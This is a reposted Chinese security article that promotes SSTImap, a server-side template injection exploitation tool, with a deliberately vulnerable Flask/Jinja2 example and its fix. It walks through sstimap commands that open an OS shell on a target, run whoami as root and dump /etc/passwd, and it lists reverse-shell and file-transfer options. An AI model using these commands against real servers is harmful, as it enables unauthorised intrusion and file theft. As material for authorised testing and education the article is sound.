一行 {{7*7}} 直接拿下服务器root:SSTImap,这个GitHub1.6k星的注入神器,正在重新定义”模板注入”

admin 2026-08-18 06:25:49 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: SSTImap是一款基于Tplmap改进的渗透测试工具,专门用于检测和利用服务端模板注入SSTI漏洞。它支持交互模式、多种模板引擎如Jinja2和Freemarker,并能实现远程代码执行、文件操作及获取操作系统shell。文档通过Flask示例展示了SSTI漏洞原理,并强调开发者应避免将用户输入直接拼入模板字符串。该工具可导致服务器被完全控制,建议安全人员用于授权测试。 综合评分: 84 文章分类: 渗透测试,漏洞分析,实战经验


cover_image

一行 {{7*7}} 直接拿下服务器 root:SSTImap,这个 GitHub 1.6k 星的注入神器,正在重新定义”模板注入”

网安之家-CyberHomestead

2026年7月10日 13:22 湖北

在小说阅读器读本章

去阅读

🔥 一行 {{7*7}} 直接拿下服务器 root:SSTImap,这个 GitHub 1.6k 星的注入神器,正在重新定义”模板注入”

攻击者只要在输入框里敲六个字符,服务器就把根权限拱手送上——这就是 SSTI。


这玩意儿是啥?一句话:它专门干模板注入

SSTImap,一款渗透测试软件,专门检测网站是否存在**代码注入(Code Injection)服务端模板注入(Server-Side Template Injection,SSTI)**漏洞,并直接利用这些漏洞,让你拿到操作系统本身的权限。

项目地址 👉 https://github.com/vladko312/SSTImap

它是在 Tplmap 的基础上发展起来的。

设计初衷:做一个交互式的渗透测试工具,用于 SSTI 的检测和利用,支持更进阶的利用手法。更多 payload 可以在这里找到。

它的 payload 和技术来自:

  • • James Kettle 的研究《Server-Side Template Injection: RCE For The Modern Web App》
  • • 其他公开研究 [1] [2] [8]
  • • 对 Tplmap 的贡献 [3] [4]
  • • 作者本人的研究 [9]

这工具还能搞定**部分代码上下文逃逸(code context escapes)和盲注入(blind injection)**场景,同时支持 Java、JavaScript、PHP、Python、Ruby 的 eval() 式代码注入,以及通用的非沙箱模板引擎。

说人话:只要网站敢把用户输入拼进模板渲染,它就能给你打出一条通往 root 的路。


跟 Tplmap 比到底强在哪?

虽然是基于 Tplmap 的代码,但不提供向后兼容

主要差异:

  • • 新增两种 SSTI 检测和利用技术
  • • 交互模式(-i),让检测和利用更顺手
  • • 加入简单求值 payload 作为响应标记,在 payload 回显时用
  • • 新增通用模板 payload,测试所有上下文用 --generic
  • • 用 Eval_generic 模块做通用求值模板注入检测
  • • 支持基于底层语言的 eval() 式 shell(-x)或单条命令(-X)执行
  • • 盲文件上传现在支持 MD5 确认和文件存在性检查
  • • 为更多模板新增 payload,并更新了大量现有 payload
  • • 模块化插件结构,允许安装额外插件
  • • 支持不同的 POST 数据类型
  • • 新增爬虫和表单检测
  • • 给很多参数加了短选项
  • • 部分旧命令行参数有改动,看 -h 求助
  • • 代码改用了更新的 Python 特性
  • • Burp Suite 扩展暂时移除,因为 Jython 不支持 Python3

漏洞长啥样?先看一个”教科书级”的反面教材

下面是用 Python + Flask + Jinja2 写的一个网页。它把用户传入的 name 变量,用不安全的方式拼进了模板字符串,然后再渲染——这就埋了雷。

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI 漏洞就在这:
&nbsp; &nbsp; template =&nbsp;f"Hello,&nbsp;{name}!<br>\n"&nbsp;\
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"OS type: {{os}}"
&nbsp; &nbsp;&nbsp;return&nbsp;render_template_string(template, os=os.name)

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; app.run(host='0.0.0.0', port=80)

这种用模板的方式,不仅会留下 XSS 漏洞,还会让攻击者注入模板代码——这些代码会在服务器上执行,直接导致 SSTI。

实测一把:

$ curl -g&nbsp;'https://www.target.com/page?name=John'
Hello John!<br>
OS&nbsp;type: posix

正常。现在把 John 换成 {{7*7}}:

$ curl -g&nbsp;'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS&nbsp;type: posix

7*7 被算成了 49。服务器把你输入的内容当代码执行了。这就是 SSTI 的命门。

正确的安全写法应该是:用户输入通过渲染上下文安全地引入。

from&nbsp;flask&nbsp;import&nbsp;Flask, request, render_template_string
import&nbsp;os

app = Flask(__name__)

@app.route("/page")
def&nbsp;page():
&nbsp; &nbsp; name = request.args.get('name',&nbsp;'World')
&nbsp; &nbsp; template =&nbsp;"Hello, {{name}}!<br>\n"&nbsp;\
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"OS type: {{os}}"
&nbsp; &nbsp;&nbsp;return&nbsp;render_template_string(template, name=name, os=os.name)

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; app.run(host='0.0.0.0', port=80)

一前一后,一个是 name 直接拼进字符串,一个是 {{name}} 走占位符。前者送 root,后者保平安。


实战:一条命令,直接打穿

预定模式(Predetermined Mode)

SSTImap 在预定模式下,跟 Tplmap 很像,能检测和利用多种模板里的 SSTI 漏洞。利用成功后,它可以提供代码求值、操作系统命令执行和文件系统操作权限。

检查 URL,用 -u 参数:

$ ./sstimap.py -u https://example.com/page?name=John

跑完你会看到这坨帅气的 ASCII art 和扫描结果:

[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

&nbsp; GET parameter: name
&nbsp; Engine: Jinja2
&nbsp; Injection: {{*}}
&nbsp; Context: text
&nbsp; OS: posix-linux
&nbsp; Technique: render
&nbsp; Capabilities:

&nbsp; &nbsp; Shell command execution: ok
&nbsp; &nbsp; Bind and reverse shell: ok
&nbsp; &nbsp; File write: ok
&nbsp; &nbsp; File read: ok
&nbsp; &nbsp; Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
&nbsp; &nbsp; --os-shell &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Prompt for an interactive operating system shell
&nbsp; &nbsp; --os-cmd &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Execute an operating system command.
&nbsp; &nbsp; --eval-shell &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Prompt for an interactive shell on the template engine base language.
&nbsp; &nbsp; --eval-cmd &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Evaluate code in the template engine base language.
&nbsp; &nbsp; --tpl-shell &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Prompt for an interactive shell on the template engine.
&nbsp; &nbsp; --tpl-cmd &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Inject code in the template engine.
&nbsp; &nbsp; --bind-shell PORT &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Connect to a shell bind to a target port
&nbsp; &nbsp; --reverse-shell HOST PORT &nbsp; &nbsp;Send a shell back to the attacker's port
&nbsp; &nbsp; --upload LOCAL REMOTE &nbsp; &nbsp; &nbsp; &nbsp;Upload files to the server
&nbsp; &nbsp; --download REMOTE LOCAL &nbsp; &nbsp; &nbsp;Download remote files

用 --os-shell 开一个伪终端:

$ ./sstimap.py -u https://example.com/page?name=John --os-shell

然后……

[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

没错,whoami 直接回 root。一个 GET 参数,换来了整台机器。

完整参数列表,用 --help

交互模式(Interactive Mode)

交互模式下,你用命令跟 SSTImap 互动。进入交互模式用 -i 参数。除与利用 payload 相关的参数外,所有其他参数都会作为设置的初始值。

部分命令用于在测试轮次之间改设置。要跑测试,目标 URL 必须通过初始 -u 参数或 url 命令提供,然后用 run 命令检查 URL 是否有 SSTI。

找到 SSTI 后,就能用命令启动利用。你能获得和预定模式一样的利用能力,但可以用 Ctrl+C 中止,而不会退出整个程序

顺带一提,测试结果在目标 URL 改变之前一直有效,所以你可以轻松切换利用方式,不用每次重跑检测。

交互命令的完整列表,在交互模式下输入 help


支持的模板引擎(覆盖面相当猛)

SSTImap 支持多种模板引擎和 eval() 式注入。欢迎通过 PR 提交新 payload

| 引擎 | RCE | 技术 | 语言 | 类型 | | — | — | — | — | — | | Freemarker | ✓ | REBT | Java | 默认 | | Java 通用 EL 注入 | ✓ | REBT | Java | 默认 | | OGNL(对象图导航语言代码求值) | ✓ | REBT | Java | 默认 | | Velocity | ✓ | REBT | Java | 默认 | | Nunjucks | ✓ | REBT | JavaScript | 默认 | | Velocity.js | ✓ | REBT | JavaScript | 默认 | | JavaScript(代码求值) | ✓ | REBT | JavaScript | 默认 | | 基于 JavaScript 的通用模板 | ✓ | REBT | JavaScript | 默认 | | Twig(≥1.41; ≥2.10; ≥3.0) | ✓ | REBT | PHP | 默认 | | PHP(代码求值) | ✓ | REBT | PHP | 默认 | | 基于 PHP 的通用模板 | ✓ | REBT | PHP | 默认 | | Jinja2 | ✓ | REBT | Python | 默认 | | Python(代码求值) | ✓ | REBT | Python | 默认 | | 基于 Python 的通用模板 | ✓ | REBT | Python | 默认 | | ERB | ✓ | REBT | Ruby | 默认 | | Slim | ✓ | REBT | Ruby | 默认 | | Ruby(代码求值) | ✓ | REBT | Ruby | 默认 | | 通用求值模板 | × | Reb_ | * | 默认 | | SpEL(Spring EL 代码求值) | ✓ | REBT | Java | 通用 | | doT | ✓ | REBT | JavaScript | 通用 | | EJS | ✓ | REBT | JavaScript | 通用 | | Marko | ✓ | REBT | JavaScript | 通用 | | Pug | ✓ | REBT | JavaScript | 通用 | | Smarty | ✓ | REBT | PHP | 通用 | | Cheetah | ✓ | REBT | Python | 通用 | | Mako | ✓ | REBT | Python | 通用 | | Tornado | ✓ | REBT | Python | 通用 | | Dust(≤ [email protected]) | ✓ | REBT | JavaScript | 旧版 | | Twig(≤1.19) | ✓ | REBT | PHP | 旧版 | | Templite | ✓ | REBT | Python | 旧版 | | SSI(服务端包含注入) | ✓ | R__T | SSI | 旧版 | | CVE-2025-1302 | ✓ | REBT | JavaScript | 扩展 | | CVE-2025-13204 | ✓ | REBT | JavaScript | 扩展 | | CVE-2022-23614 | ✓ | REBT | PHP | 扩展 | | CVE-2024-6386 | ✓ | REBT | PHP | 扩展 |

技术说明:(R)渲染型、(E)报错型、(B)布尔报错型盲注、(T)时间型盲注;小写字母表示该技术部分支持。

更多插件和 payload 在 SSTImap Extra Plugins 仓库里。


Burp Suite 插件说明

目前,Burp Suite 只能通过 Jython 来执行 Python2,没有提供 Python3 功能

未来的开发计划

如果你打算从下面这个列表里贡献大件,先告知一声,避免和我或其他贡献者撞车。

  • • 为不同引擎添加更多 payload
  • • 让插件减少对基础插件的依赖
  • • 从文件解析原始 HTTP 请求
  • • 变量转储功能
  • • 盲/侧信道取值
  • • 更好的文档(或至少有点文档)
  • • 把短参数做成交互命令?
  • • 用于脚本集成的 JSONL/纯文本 API 模式?
  • • 为 Python 脚本提供更好的集成
  • • 支持 Multipart POST 数据类型
  • • 用于更可定制请求的模块(二阶、重置、非 HTTP)
  • • payload 处理脚本
  • • 更好的配置功能
  • • 保存发现的漏洞
  • • HTML 或其他格式的报告
  • • 多行语言求值?
  • • 避免 payload 中的平台依赖
  • • 在基于 exec 的 RCE 场景中测试多种 shell
  • • 更新 NodeJS payload,因为 process.mainModule 可能未定义
  • • 爬虫/蜘蛛自动化(由 fantesykikachu 负责)
  • • 自动导入语言和引擎
  • • 支持更多 POST 数据类型
  • • 让模板和底层语言的求值功能更统一
  • • 加一个移除转义码的参数?

**GitHub 数据:**1.6k Stars · 14 Watching · 176 Forks · Python 100% · GPL-3.0 协议

作者 @vladko312,最新版本 v1.3,最近一次发布 2025 年 8 月 20 日。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网安之家-CyberHomestead 《一行 {{7*7}} 直接拿下服务器 root:SSTImap,这个 GitHub 1.6k 星的注入神器,正在重新定义”模板注入”》

    评论:0   参与:  0